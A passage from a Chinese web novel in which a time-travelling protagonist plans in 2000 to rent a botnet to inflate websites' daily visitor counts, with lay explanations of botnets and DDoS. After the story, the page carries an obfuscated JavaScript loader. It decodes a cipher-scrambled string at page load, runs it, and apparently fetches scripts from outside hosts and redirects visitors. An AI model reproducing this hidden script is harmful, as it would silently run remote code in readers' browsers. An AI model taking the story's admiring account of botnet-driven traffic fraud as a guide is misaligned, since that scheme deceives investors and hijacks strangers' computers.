“刷日活IP”这种手脚,搁几年之后那就不叫个事儿。 比如2017年的人,随便百度一下,就能看到“日活IP每天每万60元”之类的置顶竞价排名链接。 或者淘宝一下,也有几千家提供这种服务的店。 但在2000年4月这个时间点,“刷IP”还仅仅处在“大家都很想做但没人能做”的层面上。 至于顾诚,他当然知道:后世人类刷“日活IP”的主要手段,是靠“僵尸网络”。 拜361安全卫士的大肆渲染所赐,僵尸网络这个概念后世大多数人都不陌生。 那是一种通过各种传播手段,将网络上大量主机感染上bot病毒(僵尸程序),从而在控制者和被感染主机之间形成一对多远程控制的网络。 当僵尸网络开展业务的时候,看似有成千上万台电脑在做着同一件事情,其实背后只有个别人在操纵。众多被控制的用户本身毫无察觉,就像是僵尸。 如果顾诚可以找到一个僵尸网络的控制者,花点钱让他远程控制十万台电脑每天点击某个网站,可不就把网站的“日活IP数”凭空刷高十万了么。 而在如今的创业大潮局面下,一个大型网站只要多几十万日活IP,在纳斯达克上IPO的时候,其发行市值就有可能凭空高出几千万美金,也就能多融资到很多钱。 100%的利润就足以让资本践踏一切人间法律,网站主肯定是愿意花不小的代价去弄虚作假。 …… 推敲明白这些关窍之后,顾诚面对的下一个问题,就是如何找到一个他所需的僵尸网络。 他的第一反应,是去网上搜索一种叫做“灰鸽子”的病毒。 灰鸽子是一种经久不衰了几十年的病毒,是感染形成僵尸网络的急先锋,后世稍微有点网络常识的人,都不会对这玩意儿陌生。 如果顾诚可以找到灰鸽子的话,他就可以考虑亲自放毒制造僵尸网络,然后供互联网大佬们刷数据、从这些大佬们手上收佣金。 可惜,此前他花了一整天时间泡在网上找灰鸽子,一点收获都没有。 “网上所有可疑的渠道都找了,根本没有任何‘灰鸽子’的蛛丝马迹。这玩意儿应该还没被人类发明出来。” 这就是他昨晚睡前的最终结论。 这个判断可谓非常精准——“灰鸽子”本来就要到2001年年初才被人类写出来,如今地球上还不存在。 找不到灰鸽子,顾诚基本上放弃了亲自组建一个僵尸网络的念头。 他自己写不出“灰鸽子”,而其他方法组建僵尸网络都太慢,时间不等人。 所以,他决定退求其次:在网上找现成的资源。 如果来不及亲自造一个僵尸网络,那就“租用”别人已经感染好的僵尸网络。大不了每笔生意单价少赚点,就当赚个中介费。只要量能够跑起来,总额也是很可观的。 而且这么干还有个好处,那就是不脏手。 周六一上午,他都在查询这些讯息。 厚重的CRT显示器辐射很强,连续一个星期不舍昼夜地上网,早已让他双目布满了血丝。 “NSA在1月份公布的网络安全公报中,提到了至少一起发生于1999年底的、代号‘冰河’的类僵尸病毒,该病毒使用Delphi程序开发。” “基于Delphi的‘冰河’病毒疑似来源于华夏黑客的编写。但由于华夏分布式拒绝服务攻击需求较小,‘冰河’在华夏并没有大规模扩散。” 终于,从米国国家-安权局网上公布的这些蛛丝马迹按图索骥,顾诚得到了他需要的重要信息: 首先,这个世界上已经有一种同样基于Delphi编写的、类似灰鸽子的原始僵尸程序,只是感染扩散速度远逊于后来的灰鸽子。 其次,这种病毒至少已经出现5个月了,而且已经有一批黑客使用了这些病毒,来感染普通网民的电脑构建僵尸网络。 再次,这些黑客构建僵尸网络的动机,或者说用途,目前来看,还局限于“分布式拒绝服务攻击”,俗称DDOS。 “分布式拒绝服务攻击”是个什么鬼?普通人可能不熟。 用人话翻译一下:比如,双十一天猫剁手节零点的时候,肯定有数以千万计的网民会去掐点清空购物车。这种时候,一般淘宝网都是刷不出网页的,因为流量太拥堵,访问量超过了服务器的设计承载限度。 如果淘宝的竞争对手,比如京冬,要在这时候下黑手阴人,就可以暗暗雇佣几个拥有大量僵尸网络的黑客;然后算准了双十一零点刚过的瞬间,组织几百万台被感染控制的僵尸机同一瞬间访问淘宝。 如此一来,正常淘宝用户的访问就会被挤掉,登陆不上,付不出钱,被恶心购物体验,延缓淘宝刷新成交额记录的速度。 这就是一种分布式拒绝服务攻击——用僵尸网络挤占服务器请求,把需要服务的真实用户挤掉线。 早期的黑客,用僵尸网络时,扮演的往往是这种“拿人钱财、替人消灾”的杀手角色。圈子里哪个互联网大佬在生意竞争中有想干掉的对手,那就雇佣黑客快意恩仇,把对手的网站挤爆,然后给黑客点佣金。 但是,这种模式也注定了一个缺点。 那就是早期的黑客不需要太大规模的僵尸网络,他们没有把僵尸网络进一步感染扩大的动机。 尤其是在2000年的华夏国这种网络基建不发达的环境。 在2000年,华夏国最大的门户网站和搜索引擎的服务器容量,也不过是同一瞬间接受几万人的访问而已。 也就是说,要在华夏当一个接DDOS业务的黑客,有5万台肉鸡(肉鸡:圈子里指代被感染僵尸病毒的电脑)就绝对够用了。 5万肉鸡同一瞬间秒进去,无论新浪搜虎还是黄易,统统瘫痪。 肉鸡再多,也无用武之地。 所以,华夏的僵尸网络主,很容易“小富即安”;扩大到几万感染量之后,就没有继续高调扩张的动力了。 这点肉鸡,做做DDOS是够的。但是要帮巨头刷日活IP,就是九牛一毛了,根本赚不到多少钱。 刷日活IP赚大钱,至少需要十倍,甚至几十倍规模的僵尸网络。 或许还有人会觉得:为什么非要一次性找到那么大规模的僵尸网络呢?少量多次多做几笔慢慢滚雪球难道不好么? 答案是:不行。 因为顾诚做的这个事情,完全只是一种商业模式的创新,没有技术门槛,而且是介于法律边缘的灰色地带。 就跟半年前被做滥了的“刷点击”生意一样。这种生意只要完成了第一单,不到一个月,肯定会泄漏出去。然后全世界的黑客受到启发都会跟风。 到时候那些大黑客自己有僵尸网络,完全不需要再通过顾诚这个“中介”。 而法律根本不会保护一种“犯罪方法”的“专利权”。 顾诚要想赚大钱,就必须在发明这招后接到的第一个大单里,就赚到决定性的、让自己资产翻数倍的钱! …… “冰河诞生于华夏,却没有在华夏发扬光大。唉,该去哪里找,才能找到足够规模大的僵尸网络呢?” 顾诚最痛苦的,还在于这事儿根本没人可以和他讨论。 只要讨论,创意就注定会泄露出去。 他只能一个人踽踽独行。 “如果只是为了DDOS,僵尸网络肯定不会发展到后面那么大的规模。人类历史上僵尸网络发展的第二波高潮,到底是因为什么引起的?” 顾诚觉得隐隐绰绰抓到了一点思绪,又不是很确信。 “咕咕~”他在电脑桌前想得太久,忘了时间的流逝。 这些日子他早上起得很早,作息时间毫无规律,刚到中午就已经很饿了,然而他都没有注意到这一点。 “算了,吃完饭休息一下再查资料。” 顾诚站起身,伸了个懒腰,从桌上拿起一包泡面,正准备撕开丢电饭锅里。 这时,他那个廉价手机突然响了,拿起一看,是车厘子的来电。 一只手不好撕塑料袋,他只能先把拉面放下。 “车姐?” “传奇的事儿……你想到办法了么?”电话另一头的声音,有些闪烁,仿佛可以想象车厘子惴惴的表情。 “诶?想什么办法?”顾诚被车厘子没头没脑的问话弄得一愣,旋即反应过来: 车厘子肯定是怕他觉得那天朴英冠的报价太贵,遁了。 想明白了关节,顾诚顺其自然地说:“没呢,瞎忙活了一星期,也没个头绪。朴总报的价有点不地道,不过你放心,我对传奇还是有兴趣的。” “是么?还有兴趣就好。”车厘子声音透出一股小确幸,“上次还让你破费了一顿,这两天有空么?我回请你。” 吃饭?不必了吧? 顾诚心说自己还有事情要忙,正要拒绝。 然而下一秒钟,他突然脑中灵光一闪。 拜车厘子的来电所赐,他想到了历史上僵尸网络第二波爆发期的原因了。 话到嘴边,变成了:“行啊,今天就有空,哪儿见。” 车厘子:“嗯,那就下午1点,明洞站的乐天玛特门口见。” 顾诚挂了电话,把拉面丢回桌上,然后走进洗手间,一周以来第一次照了照镜子。 握草!哥什么时候憔悴成这副样子了?不行,得好好收拾收拾。 他不怕别人觉得他不帅,但他不能容忍别人觉得他潦倒。
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();